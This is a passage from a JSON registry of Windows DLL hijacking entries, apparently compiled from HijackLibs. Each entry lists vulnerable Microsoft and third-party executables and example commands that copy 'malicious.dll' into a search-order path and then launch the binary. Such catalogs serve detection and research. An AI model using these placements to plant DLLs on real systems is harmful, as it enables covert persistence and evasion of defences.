    "_source": "windows-dllhijack-tpmcoreprovisioning.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tpmcoreprovisioning.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "tpmcoreprovisioning.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-tpmcoreprovisioning",
    "name": "tpmcoreprovisioning.dll",
    "namespace": "windows:dllhijack:tpmcoreprovisioning",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tpmcoreprovisioning.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious tpsvc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\VMWare\\\\VMWare Tools\\\\tpsvc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"TPAutoConnect.exe\\\"\"\n\n# tpsvc.dll\n\n**Vendor:** ThinPrint\n\n**Expected Location:** %PROGRAMFILES%\\VMWare\\VMWare Tools\n\n**Vulnerable Executables:**\n- TPAutoConnect.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-tpsvc.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tpsvc.dll — Sideloading hijacking (ThinPrint)",
    "execution": {
      "template": "tpsvc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdout",
      "process-manip"
    ],
    "id": "windows-dllhijack-tpsvc",
    "name": "tpsvc.dll",
    "namespace": "windows:dllhijack:tpsvc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/58319/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/cf801023465679ec34084bdb1adb9f54b2fc3130925a4b8fdc10b11639b4a7cd"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/a6e6b1a47021fa1e4d36b047f5326eb04d5f545907fc6ac3730162a07cc792ff"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tpsvc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious tquery.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\tquery.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\searchfilterhost.exe\\\"\"\n\n# tquery.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\searchfilterhost.exe (Sideloading)\n- %SYSTEM32%\\searchprotocolhost.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-tquery.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tquery.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "tquery.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-tquery",
    "name": "tquery.dll",
    "namespace": "windows:dllhijack:tquery",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tquery.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious tsmsisrv.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\tsmsisrv.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\svchost.exe\\\"\"\n\n# tsmsisrv.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\svchost.exe (Phantom)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-tsmsisrv.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tsmsisrv.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "tsmsisrv.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-tsmsisrv",
    "name": "tsmsisrv.dll",
    "namespace": "windows:dllhijack:tsmsisrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.gendigital.com/blog/insights/research/png-steganography-hides-backdoor"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tsmsisrv.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious tsvipsrv.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\tsvipsrv.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\svchost.exe\\\"\"\n\n# tsvipsrv.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\svchost.exe (Phantom)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-tsvipsrv.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tsvipsrv.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "tsvipsrv.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-tsvipsrv",
    "name": "tsvipsrv.dll",
    "namespace": "windows:dllhijack:tsvipsrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.fox-it.com/2025/09/01/three-lazarus-rats-coming-for-your-cheese/"
      },
      {
        "label": "Reference",
        "url": "https://www.gendigital.com/blog/insights/research/png-steganography-hides-backdoor"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tsvipsrv.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious tsworkspace.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\tsworkspace.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wkspbroker.exe\\\"\"\n\n# tsworkspace.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wkspbroker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-tsworkspace.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tsworkspace.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "tsworkspace.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-tsworkspace",
    "name": "tsworkspace.dll",
    "namespace": "windows:dllhijack:tsworkspace",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tsworkspace.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ttdrecord.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ttdrecord.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\tttracer.exe\\\"\"\n\n# ttdrecord.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\tttracer.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-ttdrecord.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ttdrecord.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "ttdrecord.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ttdrecord",
    "name": "ttdrecord.dll",
    "namespace": "windows:dllhijack:ttdrecord",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ttdrecord.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious tts.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Soundpad\\\\tts.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Soundpad\\\\Soundpad.exe\\\"\"\n\n# tts.dll\n\n**Vendor:** LeppSoft\n\n**Expected Location:** %PROGRAMFILES%\\Soundpad\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Soundpad\\Soundpad.exe (Sideloading)\n\n**Acknowledgement:** Walter Gordillo\n",
    "_source": "windows-dllhijack-tts.md",
    "author": "Walter Gordillo",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tts.dll — Sideloading hijacking (LeppSoft)",
    "execution": {
      "template": "tts.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-tts",
    "name": "tts.dll",
    "namespace": "windows:dllhijack:tts",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/9f45aadddaae7ad3076e0591fa4ccce302248c079dc07f5c9e3da788bdae0292/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/af328ef3ae2c81a0ad5937cb186bb45d3190dbee390e180240e0a0218a1bce98"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tts.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious tutil32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\PDE\\\\tutil32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\PDE\\\\PDE.exe\\\"\"\n\n# tutil32.dll\n\n**Vendor:** mitec\n\n**Expected Location:** %PROGRAMFILES%\\PDE\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\PDE\\PDE.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-tutil32.md",
    "author": "Jai Minton",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tutil32.dll — Sideloading hijacking (mitec)",
    "execution": {
      "template": "tutil32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-tutil32",
    "name": "tutil32.dll",
    "namespace": "windows:dllhijack:tutil32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mitec.cz/pde.html"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tutil32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious twext.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\twext.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\compmgmtlauncher.exe\\\"\"\n\n# twext.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\compmgmtlauncher.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-twext.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "twext.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "twext.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-twext",
    "name": "twext.dll",
    "namespace": "windows:dllhijack:twext",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/twext.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious twinapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\twinapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dataexchangehost.exe\\\"\"\n\n# twinapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dataexchangehost.exe (Sideloading)\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n- %SYSTEM32%\\rdpclip.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msaccess.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-twinapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "twinapi.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "twinapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-twinapi",
    "name": "twinapi.dll",
    "namespace": "windows:dllhijack:twinapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/twinapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious twinui.appcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\twinui.appcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\calc.exe\\\"\"\n\n# twinui.appcore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\calc.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-twinui-appcore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "twinui.appcore.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "twinui.appcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-twinui-appcore",
    "name": "twinui.appcore.dll",
    "namespace": "windows:dllhijack:twinui-appcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/twinui-appcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious uianimation.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\uianimation.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cloudnotifications.exe\\\"\"\n\n# uianimation.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cloudnotifications.exe (Environment Variable)\n- %SYSTEM32%\\gamepanel.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-uianimation.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "uianimation.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "uianimation.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-uianimation",
    "name": "uianimation.dll",
    "namespace": "windows:dllhijack:uianimation",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/uianimation.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious uiautomationcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\uiautomationcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\gamepanel.exe\\\"\"\n\n# uiautomationcore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\gamepanel.exe (Sideloading)\n- %SYSTEM32%\\magnify.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-uiautomationcore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "uiautomationcore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "uiautomationcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-uiautomationcore",
    "name": "uiautomationcore.dll",
    "namespace": "windows:dllhijack:uiautomationcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/uiautomationcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious uireng.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\uireng.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\psr.exe\\\"\"\n\n# uireng.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\psr.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-uireng.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "uireng.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "uireng.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-uireng",
    "name": "uireng.dll",
    "namespace": "windows:dllhijack:uireng",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/uireng.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious uiribbon.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\uiribbon.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wordpad.exe\\\"\"\n\n# uiribbon.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wordpad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-uiribbon.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "uiribbon.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "uiribbon.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-uiribbon",
    "name": "uiribbon.dll",
    "namespace": "windows:dllhijack:uiribbon",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/uiribbon.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious umpdc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\umpdc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\deviceenroller.exe\\\"\"\n\n# umpdc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\dmcertinst.exe (Sideloading)\n- %SYSTEM32%\\iesettingsync.exe (Sideloading)\n- %SYSTEM32%\\mousocoreworker.exe (Sideloading)\n- %SYSTEM32%\\netevtfwdr.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\settingsynchost.exe (Sideloading)\n- %SYSTEM32%\\usocoreworker.exe (Sideloading)\n- %SYSTEM32%\\wifitask.exe (Sideloading)\n- %SYSTEM32%\\runtimebroker.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Michał Kucharski\n",
    "_source": "windows-dllhijack-umpdc.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "umpdc.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "umpdc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-umpdc",
    "name": "umpdc.dll",
    "namespace": "windows:dllhijack:umpdc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/umpdc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious unattend.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\unattend.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\recoverydrive.exe\\\"\"\n\n# unattend.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\recoverydrive.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-unattend.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "unattend.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "unattend.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-unattend",
    "name": "unattend.dll",
    "namespace": "windows:dllhijack:unattend",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/unattend.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious unityplayer.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%LOCALAPPDATA%\\\\Temp\\\\%VERSION%\\\\Windows\\\\unityplayer.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"KingdomTwoCrowns.exe\\\"\"\n\n# unityplayer.dll\n\n**Vendor:** Unity\n\n**Expected Location:** %LOCALAPPDATA%\\Temp\\%VERSION%\\Windows\n\n**Vulnerable Executables:**\n- KingdomTwoCrowns.exe (Sideloading)\n",
    "_source": "windows-dllhijack-unityplayer.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "unityplayer.dll — Sideloading hijacking (Unity)",
    "execution": {
      "template": "unityplayer.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-unityplayer",
    "name": "unityplayer.dll",
    "namespace": "windows:dllhijack:unityplayer",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/unityplayer.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious updatepolicy.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\updatepolicy.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mousocoreworker.exe\\\"\"\n\n# updatepolicy.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mousocoreworker.exe (Sideloading)\n- %SYSTEM32%\\musnotification.exe (Sideloading)\n- %SYSTEM32%\\musnotificationux.exe (Sideloading)\n- %SYSTEM32%\\usoclient.exe (Sideloading)\n- %SYSTEM32%\\usocoreworker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-updatepolicy.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "updatepolicy.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "updatepolicy.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-updatepolicy",
    "name": "updatepolicy.dll",
    "namespace": "windows:dllhijack:updatepolicy",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/updatepolicy.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
